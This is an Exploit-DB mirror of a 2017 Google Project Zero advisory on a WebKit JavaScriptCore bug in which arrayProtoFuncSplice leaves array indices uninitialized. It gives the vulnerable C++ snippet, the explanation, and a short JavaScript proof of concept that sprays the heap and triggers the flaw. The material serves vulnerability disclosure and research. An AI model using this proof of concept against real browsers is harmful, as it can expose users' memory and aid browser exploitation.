WebKit JSC – arrayProtoFuncSplice does not Initialize all Indices

  • 作者: Google Security Research
    日期: 2017-06-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42189/
  • <!--
    Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1218&desc=2
    
    Here's a snippet of arrayProtoFuncSplice.
    
    EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
    {
    ...
    result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount);
    if (!result)
    return JSValue::encode(throwOutOfMemoryError(exec, scope));
    
    for (unsigned k = 0; k < actualDeleteCount; ++k) {
    JSValue v = getProperty(exec, thisObj, k + actualStart);
    RETURN_IF_EXCEPTION(scope, encodedJSValue());
    if (UNLIKELY(!v)) {
    continue;
    }
    result->initializeIndex(vm, k, v);
    }
    ...
    }
    
    |JSArray::tryCreateForInitializationPrivate| will return an uninitialized JSArray. So the next routine must clear its all indices. But the routine skips holes in |thisObj|. This is fine under normal circumstances because the type of |result| will be ArrayWithUndecided, unless you're having a bad time. We can force |result|'s type to ArrayWithSlowPutArrayStorage by using |JSGlobalObject::haveABadTime|.
    
    PoC:
    -->
    
    function gc() {
    for (let i = 0; i < 0x10; i++)
    new ArrayBuffer(0x1000000);
    }
    
    Array.prototype.__defineGetter__(0x1000, () => 1);
    
    gc();
    
    for (let i = 0; i < 0x100; i++) {
    new Array(0x100).fill(1234.5678);
    }
    
    gc();
    
    print(new Array(0x100).splice(0));